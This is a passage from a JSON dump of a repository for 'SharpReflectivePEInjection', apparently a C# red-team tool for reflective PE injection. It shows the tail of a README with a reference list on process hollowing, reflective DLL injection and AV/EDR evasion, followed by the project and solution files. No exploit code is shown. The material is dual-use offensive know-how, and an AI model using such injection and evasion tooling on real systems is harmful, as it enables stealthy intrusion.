execution\n\n\t\t- unlike Suicide, LocalSuicide can be disabled from the command line by using the `-DisableForceExit` flag\n\n\n----------------------------------------------------------------------------------------\n\n- I made this project for 2 reasons\n\t- understand more about PEs, windows internals and how to interact with them \n\t- wanted a tool that does this\n\n\n- these are resources and references i used during building this project:\n\n\t- https://github.com/nettitude/RunPE\n\t- https://labs.nettitude.com/whitepapers/NETT_RED_TEAM_PROCESS_HIVING_2021.pdf\n\t- https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1\n\t- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/\n\t- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++#output-screenshots\n\t- https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations\n\t- https://learn.microsoft.com/en-us/windows/win32/debug/pe-format\n\t- https://www.youtube.com/watch?si=_aOPmyksf-eMu5R7&v=oe11Q-3Akuk&feature=youtu.be\n\t- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++#output-screenshots\n\t- https://klezvirus.github.io/RedTeaming/Development/From-PInvoke-To-DInvoke/\n\t- https://github.com/klezVirus/CheeseTools\n\t- https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementPSRemoting/\n\t- https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection\n\t- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly\n\t- https://0xrick.github.io/win-internals/pe1/ (part 1 to 7)\n\t\n\n\t\n"
  },
  {
    "path": "SharpReflectivePEInjection.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{FA483103-816E-464A-A227-8042D77ACBB4}</ProjectGuid>\r\n    <OutputType>Exe</OutputType>\r\n    <RootNamespace>SharpReflectivePEInjection</RootNamespace>\r\n    <AssemblyName>SharpReflectivePEInjection</AssemblyName>\r\n    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>\r\n    <LangVersion>9</LangVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\r\n    <Deterministic>true</Deterministic>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>x64</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>\r\n    </DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\r\n  </PropertyGroup>\r\n  <PropertyGroup />\r\n  <PropertyGroup>\r\n    <NoWin32Manifest>true</NoWin32Manifest>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Management.Automation\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Net.Http\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"DInvoke.Data\\Native.cs\" />\r\n    <Compile Include=\"DInvoke.Data\\PE.cs\" />\r\n    <Compile Include=\"DInvoke.Data\\Win32.cs\" />\r\n    <Compile Include=\"DInvoke.DynamicInvoke\\Generic.cs\" />\r\n    <Compile Include=\"DInvoke.DynamicInvoke\\Native.cs\" />\r\n    <Compile Include=\"DInvoke.DynamicInvoke\\Utilities.cs\" />\r\n    <Compile Include=\"DInvoke.DynamicInvoke\\Win32.cs\" />\r\n    <Compile Include=\"DInvoke.ManualMap\\Map.cs\" />\r\n    <Compile Include=\"DInvoke.ManualMap\\Overload.cs\" />\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <None Include=\"App.config\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n</Project>"
  },
  {
    "path": "SharpReflectivePEInjection.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.7.34024.191\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpReflectivePEInjection\", \"SharpReflectivePEInjection.csproj\", \"{FA483103-816E-464A-A227-8042D77ACBB4}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{FA483103-816E-464A-A227-8042D77ACBB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{FA483103-816E-464A-A227-8042D77ACBB4}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{FA483103-816E-464A-A227-8042D77ACBB4}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{FA483103-816E-464A-A227-8042D77ACBB4}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {83D6D28D-4B5E-4360-B3A1-77C390E7CD01}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  }
]